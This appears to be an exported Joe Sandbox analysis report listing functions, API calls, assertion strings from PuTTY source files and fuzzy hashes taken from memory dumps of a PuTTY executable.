CloseClipboard.USER32 ref: 00007FF6785DB9A0

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Clipboard$Data$CloseMessageOpenSend
String ID:
API String ID: 2111581930-0
Opcode ID: e93e0cf60494fe75f915791a3c77afe7e720d1734b7674f2dfd41008d92a8430
Instruction ID: 68e216f4e729ed05daefe298cf196324e02e2237f197809f8b0001f9f4f1fff5
Opcode Fuzzy Hash: e93e0cf60494fe75f915791a3c77afe7e720d1734b7674f2dfd41008d92a8430
Instruction Fuzzy Hash: 0AF0A712F39563A3FB942B71684877629929F44B40F745038C81EC63D8CD1DED85DB19

Function 00007FF6785E4A80 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 527COMMON

Download Yara Rule

Strings

nchars_used < nchars_got, xrefs: 00007FF6785E4CDB
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c, xrefs: 00007FF6785E4CC0, 00007FF6785E4CE2
chars != NULL, xrefs: 00007FF6785E4CB9

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c$chars != NULL$nchars_used < nchars_got
API String ID: 0-2160977139
Opcode ID: 6bda750f2f829f912fe00ae960369c8f33894d338bf28a3c136aa815d228c365
Instruction ID: 7a554dd968e8b2831cee9df21aaa1b219db2b41773919675100fa729c91bafe3
Opcode Fuzzy Hash: 6bda750f2f829f912fe00ae960369c8f33894d338bf28a3c136aa815d228c365
Instruction Fuzzy Hash: 36320633A2D69589FBA08B35D8487BA3F95EB41784F664135CA5DCB7D1EE3CE8408708

Function 00007FF678617AD0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(?,?,?,?,?,?,?,00000000,00007FF67860DCDB), ref: 00007FF678617B7B
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00007FF67860DCDB), ref: 00007FF678617BA4

Strings

Error %d: %s, xrefs: 00007FF678617BC2
(unable to format: FormatMessage returned %u), xrefs: 00007FF678617BAA

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID: (unable to format: FormatMessage returned %u)$Error %d: %s
API String ID: 3479602957-1777221902
Opcode ID: 934d5ca9fc914f20fd68ae67c817c39f5743779c9430b7da65df0996f959670f
Instruction ID: c6acc2d7c43c250eefc9d7b58e6b05536e4a06ae44775105005214ba2417cca5
Opcode Fuzzy Hash: 934d5ca9fc914f20fd68ae67c817c39f5743779c9430b7da65df0996f959670f
Instruction Fuzzy Hash: 7B318A22F2C64255EA509B35F4413B76B61EF84744F204131EA8DC779AEF7CEC459B08

Function 00007FF678632190 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32 ref: 00007FF67865E2FC
FindClose.KERNEL32 ref: 00007FF67865E316
FindWindowA.USER32 ref: 00007FF67865E32A

Strings

Pageant, xrefs: 00007FF67865E320

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Find$CloseFileFirstWindow
String ID: Pageant
API String ID: 2475344593-3220706369
Opcode ID: 46b9dcd90dc30509f8ce6d4eeb7586a96e96ad226e4fda942849ad5c994bb184
Instruction ID: 51fcc44d9c943aca926a894473c38009ed929ee9daa15f7c54740e7374601119
Opcode Fuzzy Hash: 46b9dcd90dc30509f8ce6d4eeb7586a96e96ad226e4fda942849ad5c994bb184
Instruction Fuzzy Hash: 7601A522F2924261FD105B35A8453BB1B505F597A0FA40231CD1D867D5DD2CDCC6A708

Function 00007FF67864FE60 Relevance: 6.8, Strings: 5, Instructions: 579COMMON

Download Yara Rule

Strings

p > 0, xrefs: 00007FF67864FED4
x->nw > 0, xrefs: 00007FF67864FE91
len <= pool->nw, xrefs: 00007FF67864FF92, 00007FF678650043, 00007FF67865015E, 00007FF6786501EE, 00007FF6786502B2, 00007FF67865053B
x->w[0] & 1, xrefs: 00007FF67864FEB6
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c, xrefs: 00007FF67864FE98, 00007FF67864FEBD, 00007FF67864FEDB, 00007FF67864FF99, 00007FF67865004A, 00007FF678650165, 00007FF6786501F5, 00007FF6786502B9, 00007FF678650542

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c$len <= pool->nw$p > 0$x->nw > 0$x->w[0] & 1
API String ID: 1949149715-820863981
Opcode ID: e0b20f5a8d21874f3a97cb2b2b1057c890e0fd874627e0a1142ccee4fd5db7f8
Instruction ID: bf84aef1c43e16ec425a434cf6577be088e1e102817b7f24082c3c32f9f4f6c2
Opcode Fuzzy Hash: e0b20f5a8d21874f3a97cb2b2b1057c890e0fd874627e0a1142ccee4fd5db7f8
Instruction Fuzzy Hash: B932D232B28B9591DA20DF25E4403AA7764FB84BE4F544232DAAD43BD9EF3CD581D704

Function 00007FF6785DA01E Relevance: 6.2, APIs: 4, Instructions: 216COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 00007FF6785DA462
SetTextColor.GDI32 ref: 00007FF6785DA478
SetBkColor.GDI32 ref: 00007FF6785DA487
SetBkMode.GDI32 ref: 00007FF6785DA49D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Color$ModeObjectSelectText
String ID:
API String ID: 3594386986-0
Opcode ID: 062e9b49704ff532ccb08a301ad4696c212a399bcaca2ce98464616b989bc9b3
Instruction ID: effce4c54e521fe6708d0aa09ca98384bbbbe443b6249cfb2ef9837a6ee710fd
Opcode Fuzzy Hash: 062e9b49704ff532ccb08a301ad4696c212a399bcaca2ce98464616b989bc9b3
Instruction Fuzzy Hash: 3E812627E2C62586FB758B26A8C037A7A92BB94781F304035DD4EC3794DE7CED40AA54

Function 00007FF6785DA032 Relevance: 6.2, APIs: 4, Instructions: 214COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 00007FF6785DA462
SetTextColor.GDI32 ref: 00007FF6785DA478
SetBkColor.GDI32 ref: 00007FF6785DA487
SetBkMode.GDI32 ref: 00007FF6785DA49D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Color$ModeObjectSelectText
String ID:
API String ID: 3594386986-0
Opcode ID: a8f5b5b0e585cb72b3f3f779b8361df6a7e167cc07a1f26b4896fd50d5f44db0
Instruction ID: aad9547ea6106e16ea43ec0ff5057ed3b071bf885c46a77f6dcc575993286631
Opcode Fuzzy Hash: a8f5b5b0e585cb72b3f3f779b8361df6a7e167cc07a1f26b4896fd50d5f44db0
Instruction Fuzzy Hash: AA812727E2C62586FB658B2AA8C037A7A92BB94781F304035DD4DC3794DE7CED409A54

Function 00007FF6785DA03E Relevance: 6.2, APIs: 4, Instructions: 214COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 00007FF6785DA462
SetTextColor.GDI32 ref: 00007FF6785DA478
SetBkColor.GDI32 ref: 00007FF6785DA487
SetBkMode.GDI32 ref: 00007FF6785DA49D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Color$ModeObjectSelectText
String ID:
API String ID: 3594386986-0
Opcode ID: 7965013e65fe39ea2ae5d9b7d588d824beffc7c579ab59e583ffeacae1a9d986
Instruction ID: e3ca80d581a85d02eaa40d4fe496eec6d32c25ffb714dc6c6cb2dda2b873313a
Opcode Fuzzy Hash: 7965013e65fe39ea2ae5d9b7d588d824beffc7c579ab59e583ffeacae1a9d986
Instruction Fuzzy Hash: F1812737E2C62586FB658B26A88037A7A92FB94781F304035DD4DC3794DE7CED409B54

Function 00007FF6786AF964 Relevance: 5.5, APIs: 3, Instructions: 1005COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786AFDAF
_get_daylight.LIBCMT ref: 00007FF6786AFE4F
_get_daylight.LIBCMT ref: 00007FF6786AFE68

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: 1eb53fdb1f7e85100b90bf35bdf4ec4e651609bdb89da2f09d3bd1ddb09729b4
Instruction ID: 02061946951f237fb74623b7b9d27d120aff392e00c0518f791fff46f9a3c1fd
Opcode Fuzzy Hash: 1eb53fdb1f7e85100b90bf35bdf4ec4e651609bdb89da2f09d3bd1ddb09729b4
Instruction Fuzzy Hash: 6B92D233A28652D6E7249F35D45017B2FA5FB45788F244036EB8987A95DF3DED00E30A

Function 00007FF6786179B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF678617A12

Strings

kernel32.dll, xrefs: 00007FF6786179F0
GetVersionExA, xrefs: 00007FF678617A08

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc
String ID: GetVersionExA$kernel32.dll
API String ID: 190572456-3521452493
Opcode ID: 0c14bb31d7d74514721674b52997aae77921c1310d88e033a61af6d90ed3c4d9
Instruction ID: e434a530624342c4a307e0c5824aefe41091f9dcba7b827c935a72426634c1a2
Opcode Fuzzy Hash: 0c14bb31d7d74514721674b52997aae77921c1310d88e033a61af6d90ed3c4d9
Instruction Fuzzy Hash: 7F316F23D2D78295F620CB25B8503776FA1ABA9304F209235E59C862A5DF7CE9909F18

Function 00007FF678652B10 Relevance: 5.0, Strings: 3, Instructions: 1243COMMON

Download Yara Rule

Strings

!mp_cmp_hs(remainder, d), xrefs: 00007FF678653BC0
!mp_eq_integer(d, 0), xrefs: 00007FF678652C39
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c, xrefs: 00007FF678652C40, 00007FF678652F05, 00007FF67865314B, 00007FF678653245, 00007FF6786532A2, 00007FF6786532FE, 00007FF6786533A0, 00007FF678653658, 00007FF6786536E4, 00007FF6786537AD, 00007FF678653BC7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _set_error_mode
String ID: !mp_cmp_hs(remainder, d)$!mp_eq_integer(d, 0)$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c
API String ID: 1949149715-1331618967
Opcode ID: c92e9b05d724342b17149865c022194c84f2cdf934dcf91f9481abecd86be9e1
Instruction ID: eb2b82fb7e31a3adf5fa6fa3b2fb5da226c417e2eb4f211bbea02046939b9750
Opcode Fuzzy Hash: c92e9b05d724342b17149865c022194c84f2cdf934dcf91f9481abecd86be9e1
Instruction Fuzzy Hash: 92A22463B28B8596EA10DF61D6143BF6752EB45FC0F198531DE1D8B786DE3CE8819308

Function 00007FF678651CB0 Relevance: 4.7, Strings: 3, Instructions: 957COMMON

Download Yara Rule

Strings

x0->nw == x1->nw, xrefs: 00007FF678652005, 00007FF6786526BB, 00007FF67865273C
word < x->nw, xrefs: 00007FF6786521A2, 00007FF6786521F6
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c, xrefs: 00007FF678651DF1, 00007FF678651E3C, 00007FF678651ED4, 00007FF67865200C, 00007FF6786521A9, 00007FF6786521FD, 00007FF6786526C2, 00007FF678652743

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c$word < x->nw$x0->nw == x1->nw
API String ID: 1949149715-4037912331
Opcode ID: 43eaca89571b15201c73cdb88dec1c6938a79bfea65ec062044a08198682b48d
Instruction ID: 77bd1f969e3d5b46d43aa5b5ab122497e1b1a0f81a2e11b50e021e1509b5e33b
Opcode Fuzzy Hash: 43eaca89571b15201c73cdb88dec1c6938a79bfea65ec062044a08198682b48d
Instruction Fuzzy Hash: FF82CD73B29B8591EA10CB26D45427F6B62FB48FD0F298531CE5E87795EE38E881D304

Function 00007FF6785E4030 Relevance: 4.3, Strings: 3, Instructions: 551COMMON

Download Yara Rule

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c, xrefs: 00007FF6785E469E, 00007FF6785E49D7
opos == term->cols, xrefs: 00007FF6785E4697
0 <= p && p < width, xrefs: 00007FF6785E49D0

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c$0 <= p && p < width$opos == term->cols
API String ID: 0-2817353598
Opcode ID: 48c84171e4e6dbe3ca64c24b21b4607ca9543aec5e6d4045095969cd4c2680a5
Instruction ID: 997823f21725c62d97ba86993b1de9fc4ecd2cda1a9a08555c693bc68ce82962
Opcode Fuzzy Hash: 48c84171e4e6dbe3ca64c24b21b4607ca9543aec5e6d4045095969cd4c2680a5
Instruction Fuzzy Hash: 3A52B073A14B9986EB948F25D5447EE3B68FB88B84F168122EF4E473A5DF38D940C344

Function 00007FF67864F230 Relevance: 4.3, Strings: 3, Instructions: 501COMMON

Download Yara Rule

Strings

len <= pool->nw, xrefs: 00007FF67864F490, 00007FF67864F663, 00007FF67864F6C3, 00007FF67864F81C
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c, xrefs: 00007FF67864F28E, 00007FF67864F497, 00007FF67864F66A, 00007FF67864F6CA, 00007FF67864F823
scratch.nw >= mp_mul_scratchspace_unary(inlen), xrefs: 00007FF67864F287

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c$len <= pool->nw$scratch.nw >= mp_mul_scratchspace_unary(inlen)
API String ID: 1949149715-1079915730
Opcode ID: 175617af099b570f1206e9f1cb82f0c403bc199e54224aa9d1c812f6e4cfecdf
Instruction ID: 35d2abad1a1d940bde6a0f212abd138030f9789958c52038793822aab3281eae
Opcode Fuzzy Hash: 175617af099b570f1206e9f1cb82f0c403bc199e54224aa9d1c812f6e4cfecdf
Instruction Fuzzy Hash: 6722B133B29A86A4EA60CF21E5543AF7761FB98B84F644032CA8D87B58EF7CD545D304

Function 00007FF6786A23A8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF678698AD2), ref: 00007FF6786A241C

Strings

GetLocaleInfoEx, xrefs: 00007FF6786A23D5

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 877343d59bc69b94a8249b42954be88c557d486399bdd3dc21f370ad172789df
Instruction ID: b0299f6e322fd39dd4b7632ec0fc94c763d5b74743adee6f31a2c09db7f0f1ff
Opcode Fuzzy Hash: 877343d59bc69b94a8249b42954be88c557d486399bdd3dc21f370ad172789df
Instruction Fuzzy Hash: 1E012B22B1874191EB008B66F4001ABBB61FF94FC0F644035DE0D93B65CE3CDD459748

Function 00007FF678633F40 Relevance: 3.0, APIs: 2, Instructions: 41fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32 ref: 00007FF67865E2FC
FindClose.KERNEL32 ref: 00007FF67865E316
